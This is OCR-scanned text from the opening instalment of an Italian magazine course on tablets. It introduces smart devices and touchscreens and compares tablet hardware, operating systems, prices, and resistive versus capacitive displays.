Questo corso ci insegnerà a scoprirne tutte le principali 
caratteristiche hardware e software per aiutarci ad usarli 
al meglio. 

Come si organizzano i fascicoli 

L’opera si compone di pratici fascicoli mensili pronti da 
ritagliare e archiviare. Gli argomenti sono proposti in se¬ 
zioni e capitoli: Tablet: prima configurazione; Persona¬ 
lizzazione del tablet; Alla scoperta degli Store on-line; 
Hacking del tablet. Mese dopo mese, non devi fare altro 
che staccarli e archiviarli in base alla sezione e al capitolo. 
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TABLET: PRIMA CONROURAZIONE 

Le nozioni di base e i suggerimenti degli esperti 
per completare correttamente il primo avvio del tablet 


PERSONALIZZAZIONE DEL TABLET 

/ trucchi e i consigli pratici per configurare 
il dispositivo secondo le nostre esigenze 


ALLA SCOPERTA DEGÙ STORE ON-UNE 

Utili consigli per imparare a scegliere le migliori app 
per il tablet e installarle senza problemi 


HACKING DEL TABLET 

Le guide “unofficiai” per potenziare il nostro tablet 
ogni oltre limite 
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TABLET. LA GRANDE GUIDA! 


La tecnologia 
diventa smart 

Potenti, intelligenti e veloci: i tablet possono 
anticipare anche i nostri bisogni. Ecco come 
una "semplice” tavoletta può cambiare la vita 


I l nostro secolo è sicuramente testimone di una importante 
evoluzione in termini di tecnologia applicata alla vita quoti¬ 
diana: se fino a qualche anno fa era l’uomo a doversi adattare 
a meccanismi astrusi e linguaggi di programmazione incom¬ 
prensibili, adesso gli sforzi di produttori hardware e sviluppa¬ 
tori software sono incentrati su interfacce e dispositivi sempre 
più “usabili” (italianizzazione del termine inglese usability) e 
"smart" (letteralmente, intelligenti). 

Ed ecco l’aggettivo che meglio caratterizza i nostri tempi: “smart”! 
In lingua italiana la parola assume diversi significati: a secon¬ 
da del contesto si dice "smart” di un uomo acuto, furbo, veloce, 
energico; riferito agli oggetti, "smart" è una caratteristica che de- 
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■ Associato 
ad un telefono, 
il termine "smart" 
indica un accessorio 
che non si limita alle sole 

- . . „ funzionalità telefoniche grazie 

hmsce eleganza, bellezza ad una serie di funzioni 

ma anche raffinatezza; in tee- virtualmente illimitate. 

nologia l’aggettivo "smart” coniuga i 

vari significati pocanzi citati per definire un dispositivo in grado di 
servire l’utente in ambiente lavorativo o ludico e che sia facile da 
usare, veloce e magari anche in grado di anticipare i nostri biso¬ 
gni, consigliandoci ad esempio una strada piuttosto che un’altra 
se al successivo bivio rischiamo di imbatterci in una coda lunga 
20km. Qualche tempo fa per inviare ima semplice e-mail biso¬ 
gnava avere un computer ed un collegamento ad Internet. Oggi, 
invece, uno smartphone è in grado di sostituire il comune PC in 
buona parte delle sue funzioni ordinarie: oltre a telefonare ed in- 


I t re sist emi operativi dei tablet 



SAMSUNG GALAXY TAB 3 

SISTEMA OPERATIVO: Android 4.1.2 
Jelly Bean 

DISPLAY: 7,0", 1024 x BOO.TFTTouschscreen 
PROCESSORE: Dual core 1,2 GHz 
MEMORIA INTERNA: 8 GB 

PRO: La licenza open source di Android 
permette di installare firmware non ufficiali. 
O CONTRO: La disponibilità di versioni mo¬ 
dificate di Android potrebbe creare confusio¬ 
ne negli utenti. 


APPLE IPAD AIR 

SISTEMA OPERATIVO: Apple lOS 7 
DISPLAY: 9,7" IPS, 2048xl536,Touschscreen 
PROCESSORE: Chip A7 64 bit 
MEMORIA INTERNA: 16/128 GB 

O PRO: L’ultima versione di iOS 7 è ancora 
più intuitiva e semplice da usare. Ottimo il 
display Retina. 

O CONTRO: La natura "chiusa" del sistema 
cperatìvo limita la possibilità di personalizza¬ 
zione del tablet. 


MICROSOFT SURFACE 2 

SISTEMA OPERATIVO: \Afindows RT 8.1 
DISPLAY: 10,6" multitouch Full HD 
PROCESSORE: NVIDIA Tegra 41,7 GHz quad core 

MEMORIA INTERNA: 32 GB 

ty PRO: Le specifiche tecniche re fanno un 
vero e proprio notebook con le dimensioni di 
un tablet. 

O CONTRO; La scelta di app sullo Store è 
inferiore rispetto al Google Play Store o all’Ap¬ 
ple Store. 
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viare SMS o messaggi di posta elettranica, gli smartphone sono in 
grado di scattare fotografie persino superiori, per qualità, a quelle 
delle comuni macchine fotografiche, per non parlare della possi¬ 
bilità di girare dei video e subito dopo montarli direttamente sul 
cellulare. E ancora collegarsi ad Internet e visualiz/are siti, inviare 
e-mail con immagini o documenti anche molto pesanti, vedere 
film e ascoltare la propria musica preferita direttamente dalla Rete 
grazie ai servizi di streaming, scrivere un documento in Word, fare 
calcoli con Excel, accordarsi la chitarra, prendere le misure di una 
stanza... Insomma, i dispo.siti\i "smart" sono in grado di fare mol¬ 
te cose tanto che il loro utilizzatore non ha più bisogno di portare 
in tasca altri apparecchi come iPod, macelline fotografiche, vide¬ 
ocamere, computer portatili e via discorrendo. 

Il touchscreen ha rivoluzionato il mondo 

Tutti i tablet sono dotati di uno schermo tattile o touchscreen 
che, grazie ad un digitalizzatore, è utiie per interagire con il 
dispositivo stesso tramite le dita o particolari oggetti. Grazie 
a questa tecnologia, gii utenti di un apparecchio con touch¬ 


screen hanno potuto avvantaggiarsi del sistema di interazione 
umano più naturale che esista: il tocco delle dita! 

Se pensiamo al modo con cui interagivamo con le macchine 
fino a poco tempo fa, viene .subito in mente l'immagine di una 
tastiera e di un mouse: se gli addetti ai lavacri considerano tali 
strumenti assolutamente naturali, non è lo stesso per chi non 
passa la giornata davanti allo schermo di un computer; senza 
considerare che nonostante la loro praticità, il loro uso ottima¬ 
le richiede comunque una buona dose di pratica. Il tocco è il 
primo modo con cui impariamo ad interagire col mondo ed è 
quindi il più naturale: i progettisti dei tablet hanno quindi deciso 
che per consultare una qualsiasi pagina fosse stato più comodo 
far scorrere un dito sullo schermo senza essere costretti a far gi¬ 
rare le rotelline di un mouse o cliccare su strette e quasi invisibili 
barre grigie sul monitor. Grazie al touchscreen la tecnologia si è 
avvicinata ancora di più all’uomo ed è così che, dopo il succes¬ 
so degli smartphone, im uomo che ha segnato le sorti di buo¬ 
na parte della tecnologia attuale ha ben pensato di applicare lo 
stesso principio ad una nuova generazione di computer che, per 
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Le caratteristiche hardware dei tabiet 

Dopo la doverosa premessa su questi dispositivi delle meraviglie, è bene adesso chiarire le 
caratteristiche hardware di un tablet che ci aiuteranno poi nella scelta del nostro dispositivo. 


Processore 

Anzitutto partiamo dalla CPU. il micropro¬ 
cessore che, come nei computer tradizionali 
svolge quelle che in un essere umano sono 
le funzioni di un cervello. L’attuale genera¬ 
zione di tablet si basa su processori con 
architettura ARM costruiti per tenere a bada 
i consumi energetici: tra questi spiccano gli 
Snapdragon di Qualcomm, i Tegra di NVIDIA, 
gli economici Mediatek che troviamo in tutti 
i tablet dai 150 euro in giù e, naturalmente. 



gli Apple utilizzati su iPhone e iPad. Intel, 
dal canto suo, sta tentando di sviluppare 
una propria architettura detta Silverman 
per i suoi Atom che potrebbe presto fare 
concorrenza ad ARM. Nella scelta del ta¬ 
blet ideale è bene sapere che la potenza 
della CPU ne determina la capacità di ela¬ 
borazione, portando ad avvantaggiarsene 


quelle applicazioni che richiedono potenza 
di calcolo come ad esempio i giochi. Come 
nei computer, per valutare la potenza di una 
CPU bisogna considerare diversi fattori: uno 
tra questi è il numero di core presenti che 
possono essere “single”, “dual", “quad” e, 
recentemente, anche “octa”, rispettivamente 
uno, due. quattro e otto core. In parole povere 
il core è la principale unità di elaborazione, 
quindi una CPU che ha otto core è come un 
essere umano che aH’interno del proprio 
cervello ne ha altri 8 tutti collegati tra loro. 
Da pochissimo tempo le CPU mobile sono 
arrivate ad architetture a 64 bit contro i 32 
bit che l’hanno fatta da padroni finora: la 
differenza tra le due sta nel raddoppio della 
velocità di calcolo. In un buon tablet una 
CPU deve essere almeno dual core a 1 GHz. 

Memoria RAM 

La RAM (Random Access Memory) è un 
tipo di memoria volatile che permette al 
sistema operativo e ai programmi di acce¬ 



dere e salvare le informazioni trasmesse 
dall'utente in tempo reale. A differenza 
del PC, un tablet ha bisogno di poca RAM 
per lavorare grazie all'ottimizzazione di 
ogni suo componente e, naturalmente, 
all’uso per il quale è programmato. Un 
buon tablet non supera la dotazione di 
1GB di RAM. 

Memoria di Storage 

A differenza della RAM, la memoria di "Sto¬ 
rage” di un tablet è quella che conserverà 
i nostri dati in maniera definitiva. 

È in questa memoria che risiedono il sistema 
operativo, le applicazioni e i nostri dati. 



Per ragioni legate al risparmio energetico 
come alle dimensioni del dispositivo, ì ta¬ 
blet sono dotati di SSD (Solid State Disc, 
disco a stato solido), un tipo di memoria 
simile a quella delle pendrive ma più ve¬ 
loce in termini di accesso. Un buon tablet 
ha una dotazione di memoria di Storage 
pari a 16 GB. 
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somiglianza con le tavolette utilizzate per la scrittura, venne ap¬ 
punto battezzata “tablet" Quell’uomo era, per chi non lo avesse 
ancora capito, il fondatore e ispiratore della Apple: Steve Jobs. 

Tablet il computer per tutti? 

Un tempo i computer erano macchine estremamente speda¬ 
lizzate, con interfacce utente talmente complesse da richiede¬ 
re al proprio operatore anni di studio per essere utilizzate. Di 
contro da lì a poco sarebbe arrivato il primo Personal Compu¬ 
ter, detto anche PC, ove il vecchio MS-DOS come anche il pri¬ 
mo sistema operativo a finestre (Mac) risolvevano il problema 
dell’intellegibilità grazie ad interfacce utente più accessibili. 
Nonostante questo ancora o^ ci trodamo davanti a dispositi¬ 
vi non completamente “usabili": se cosi non fosse buona parte 
dei sistemisd o tecnici hardware avrebbero già perso il lavoro 
da tempo. 

Oggi un tablet rappresenta davvero il dispositivo che può essere 
messo nelle mani di chiunque senza che ^ si debba spiegare nul¬ 
la sul suo funzionamento. Chi non ha mai visto o acceso un com¬ 


puter avrà sicuramente acceso il proprio telefono, saprà utilizzare 
un'interfaccia dove per chiudere un’applicazione d basta preme¬ 
re un tasto 0 addirittura, come nel recentissimo sistema operativo 
di Microsoft, puntare il dito in alto e far scorrere la finestra verso il 
basso in un gesto ch’è facile assodare a quello che, nella vita quoti¬ 
diana, facdamo con dò che desideriamo allontanare. Se riflettiamo 
bene sulla questione, arriviamo alla condusione che non sempre 
importa sapere quanta memoria libera abbiamo sull hard disk o la 
RAM disponibile, a che serve un Pannello di Controllo con mille e 
più funzioni e ancora la scheda video, le stampanti, lo schermo che 
sfarfalla perché abbiamo sbadato configurazione o il mouse "mor¬ 
to" perché sono finite le batterie! Viene quasi da chiedersi a che 
serve avere un PC quando d serve solo uno strumento adatto per 
lecere ed inviare la posta elettronica, navigare su Internet, leggere 
libri e quotidiani, utilizzare i social network e al massimo schiarire 
qualche fotografia. Una delle ragioni del grande successo di Ap¬ 
ple nella persona di Steve Jobs sta proprio nell’avere conaetizzato 
questa idea: dopo aver creato l’interfaccia più usabile al mondo nel 
primo iPhone (poi copiato da tutti), ha fatto lo stesso coi compu- 


Memoria esterna 

Molti di noi si staranno domandando 
perché dovrebbero bastarci i 16 GB di 
memoria del tablet quando sul computer 
abbiamo sempre problemi di spazio pur 
avendo hard disk da 1 TB. Cogliamo 
quindi l’occasione per chiarire il fatto 
che un tablet non è un computer usato 
per scaricare film, musica e quant’altro: 
al contrario si tratta di un dispositivo 
progettato per un utilizzo remoto. La 
musica la potremo ascoltare in streaming 
senza quindi la necessità di salvarla sul 
nostro apparecchio: lo stesso vale per 
i film. Anche molte delle applicazioni 
per tablet in realtà operano in remoto 
rendendo il nostro piccolo computer 
nient’altro che un terminale. A questo 
punto è facile capire il motivo per cui 
non è necessaria una dotazione hardwa¬ 
re importante. Se dovessimo essere a 
corto di spazio, comunque, possiamo 
sempre sfruttare lo slot disponibile sui 
migliori tablet per aggiungere un ulteriore 
quantitativo di memoria mediante una 
scheda SD/miniSD. 



Display 

Il display è l’elemento che salta subito all'occhio 
ed è quello con cui interagiremo col nostro 
tablet è quindi necessario conoscerne bene 
le caratteristiche. Come già detto, sul mercato 
sono disponibili tablet con schermi che vanno 
dai 7 pollici ai 20. Il solito Steve Jobs diceva 
sempre che un tablet deve avere uno scher¬ 



mo da 10 pollici: uno più piccolo renderebbe 
l’interfaccia meno usabile, uno più grande 
sarebbe solo stato ingombrante. Oggi i tablet 
da 7 pollici hanno dimostrato che l’usabilità 
può essere mantenuta su schermi più piccoli, 
tuttavia la scelta e il giudizio rimangono sem¬ 
pre soggettivi. Un parametro che esula dalle 
dimensioni dello schermo è la risoluzione. 
Alcuni tablet riescono a raggiungere risoluzioni 
come quelle dei televisori FULL HO di oggi 
e quindi di L920xl.080 pixel (detta anche 
LOBOp) con una qualità in termini di colori 
e dettagli superiore alle risoluzioni inferiori. 


Se stiamo quindi pensando di acquistare un 
tablet per guardare film, teniamo in conside¬ 
razione questo aspetto. Al contrario, date le 
dimensioni dello schermo, una risoluzione 
molto elevata non è apprezzabile quando 
leggiamo un quotidiano o scriviamo una e-mail. 

Sistema operativo 

Veniamo adesso ad uno dei punti focali e cioè 
il sistema operativo grazie al quale interagiamo 
con la macchina. La pioniera per eccellenza 
nel mondo tablet è stata la Apple col suo iPad, 
a seguirla sono state presto alcuni importanti 
produttori come Samsung che, grazie ad An- 
droid di Google, sono riusciti a concorrere con 
il gigante di Cupertino. La Microsoft invece 
è stata l’ultima a lanciarsi nel mondo tablet 
con il suo Surface che, in realtà, somiglia più 
ad un computer portatile con caratteristiche 
di ultra-portabilità. Ognuno di questi produt¬ 
tori ha scelto un ben determinato sistema 
operativo cui affidare la direzione del proprio 
dispositivo. Apple, com’è sua consuetudine, ha 
dotato i suoi iPad di iOS, il medesimo sistema 
operativo utilizzato da iPhone ottimizzato per 
l'uso con la tavoletta. Molti altri produttori 
hanno invece scelto l’opzione open source 
affidandosi al robottino di Mountain View e 
cioè Android. Sebbene Apple abbia innovato 
e gettato le basi per il futuro della tecnologia, 
possiamo senz’altro dire che Android ne ha 
raccolto i frutti e ha continuato su questa 
strada superando persino il maestro, tanto 
che l’ultima versione 4.4 KitKat ha superato 
per innovazione persino l’ultima release di iOS 
che per la prima volta nella storia ha integrato 
funzionalità già sviluppate dai concorrenti. 
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ter creandone una versione più "user fciendh'": nasce cosi l'iPad, il 
primo vero tablet di questo secolo. A conti fatti il successo di questi 
disposititi è in realtà tutto nell'interfaccia, una schermata (o anche 
più) chiamata "home screcn" dove mettere tutto quello che ci ser¬ 
ve, applicazioni di ogni tipo, pensate per essere utilizzate con le dita, 
senza finestre fluttuanti che ci confondono, né freccette bianche sul 
monitor che sfuggono alla vista. Certo, un dispositivo senza tastiera 
ha pure i suoi limiti. Sicuramente la digitazione di un testo con il 
"touch" è poco pratica e sascettibile di errori ma pensiamo bene ad 
una cosa: quanti utenti utilizzano la propria tastiera con almeno 6 
dita? Se la risposta a questa domanda è “chi usa per il computer per 
lavoro’,’ allora comprendiamo bene il pensiero di Steve lobs e come 
sia riuscito facilmente a portare Internet fra le "dita” di chiunque! 

Cos’è e come è fatto un tablet 

Abbiamo appena cbiarito i concetti legati ai nuovi dispositivi 
tecnologici di oggi, il loro essere "smart” in funzione della ca¬ 
pacità più o meno elevata dì integrarsi con la nostra vita quo¬ 
tidiana e di riuscire a soddisfare buona parte delle funzioni un 
tempo impensabili in un solo dispositivo. Passiamo adesso a 
cbiarire come è fatto un tablet e le diverse tipologie di disposi¬ 
tivi cbe è possibile trovare sul mercato. 

La parola che meglio definisce un tablet è quella di un “computer 
AIO” (all in one) nel senso che tutto queUo che lo fa funzionare è 
integrato in una singola imita che, all’aspetto, è il solo schermo. 
Come gli smartphone, anche i tablet sono c*quipaggiati con di¬ 
versi sensori quali fotocamera, microfono e accelerometri che li 
rendono capaci di capire come li stiamo muovendo, nonché di 
schermi sensibili al tocco che sostituiscono del tutto mouse e ta¬ 
stiere. I tablet includono anche dei pul.santi fisici che permettono 
di accenderli, di controllare il volume, di aprire il menu di un’ap¬ 
plicazione, chiuderla o tornare alla schennata precedente. Oltre a 
questo, inoltre, possono essere dotati di porte di comunicazjone 
per connetterli ad esempio al caricabatteria o ad un computer tra¬ 
dizionale. Quando occorre digitare del testo in ima pagina Web o 
in documento di testo, sullo schenno viene aperta una vera e pro¬ 
pria tastiera virtuale simile in tutto e per tutto a quelle tradizionali. 
Scopriremo che la maggior parte dei tablet supportano anche più 
punti di tocco (multitouch), in questo modo potremo digitare il 


nostro testo sulla tastiera virtuale anche utilizzando 10 dita (come 
nel caso dell’iPad che supporta fino a 10 punti di contatto). 

• Riguardo le dimensioni, un tablet viene misurato in base alla 
diagonale del display. Sul mercato sono presenti dispositivi 
a partire da 7 pollici (circa 18 cm) fino a 20 pollici del recente 
Toughpad 4K UT-MB presentato da Panasonic. 

• Riguardo Tinterazione, con l’utente, invece, tutti i tablet sono 
sensibili al tocxo oppure ad un dispositivo specifico di punta¬ 
mento simile ad una penna. Grazie a quest’ultimo i dispositivi 
più evoluti come il Galaxy Note 10 di Samsung sono in grado di 
riconoscere la scrimira e altresì essere utilizzarti in luogo della 
tavoletta grafica. 

• In un tablet, infine, gli schermi touch possono essere di due tipi: 
resistivi o capacitivi (leggi box). I primi possono essere utilizj'.ati 
solo con dei pennini, i secondi con le dita. 

Prezzi per tutte le tasche 

Grazie all’aumento vertiginoso della domanda, un buon tablet 
oggi si compra davvero con pochi spiccioli: è il caso dell’ottimo 
Nexus 7 di Google che costa 229,00 euro o del Kindle HD di 
Amazon che nella versione base è disponibile a soli 99 euro. Bi¬ 
sogna spendere mvece quasi 500 euro per l’eccellente Samsung 
Galaxy Note 10, best seller della categoria. A differenza dei tablet 
.Android, per i quali la scelta è molto ampia, la proposta di Ap¬ 
ple è solo una, l’iPad, con prezzi che oscillano dai 479 euro per la 
versione Air, al Mini con 389 euro fino a quello "tradizionale” con 
prezzi a partire da 379 euro che variano in base alla dotazione 
RAM o alle reti di connessione supportati (Wi-Fi e 3G). Riguardo 
Microsoft, la versione base del Surface ha un costo di 337 euro, 
ma ricordiamo che questi ultimi hanno caratteristiche di poten¬ 
za e di uso simili a quelle di un computer portatile seppur facilita¬ 
te grazie alla nuova schermata di avvio di Windows 8. Siamo arri¬ 
varti quindi alla conclusione di questa prima parte dove abbiamo 
cercato di fare un’introduzione a quello che tratteremo nel corso 
delle puntate successive dove impareremo a configurare i nostri 
apparecchi scovandone trucchi e segreti, oltre che imparare a 
muoverci nel mondo delle applicazioni mobile per sapere come 
scegliere e utilizzare al meglio il nostro piccolo computer da pas¬ 
seggio. Appuntamento al mese prossimo. 


Display resistivi e capacitivi 


Schermo resistivo 

È un display di tipo passivo e risponde 
alla pressione delle dita sul display. Que¬ 
sta tipologia di schermi assicura un alto 
livello di precisione in quanto è in grado di 
riconoscere l’esatto pixel sul quale stiamo 
agendo. Tuttavia, a causa dell’alto livello 
di definizione, questa tipologia di schermi 
si adatta meglio all'uso con un pennino. 

Schermo capacitivo 

Anche se meno accurato rispetto ad un 
equivalente resistivo, è il più adatto nel caso 
in cui si voglia utilizzare il tablet con le dita 
in quanto utilizza proprio la conduttività 


elettrica del nostro corpo per capire cosa 
stiamo “puntando”. Per ragioni intrinseche 
alla natura tecnologica del prodotto, questi 
schermi riconoscono solo le nostre dita o 
particolari pennini, non garantiscono il me¬ 
desimo livello di precisione degli schermi 



SCHERMI RESISTIVI 


le differenze 

resistivi, ma hanno il grosso vantaggio di 
poter avere anche più punti di contatto {mul¬ 
titouch) oltre che una maggiore durabilità 
grazie al tipo di materiale che viene utilizzato 
per costruirli ed allo strato prot^vo in vetro 
che fa da scudo agli strati sottostanti. 



SCHERMI CAPACITIVI 
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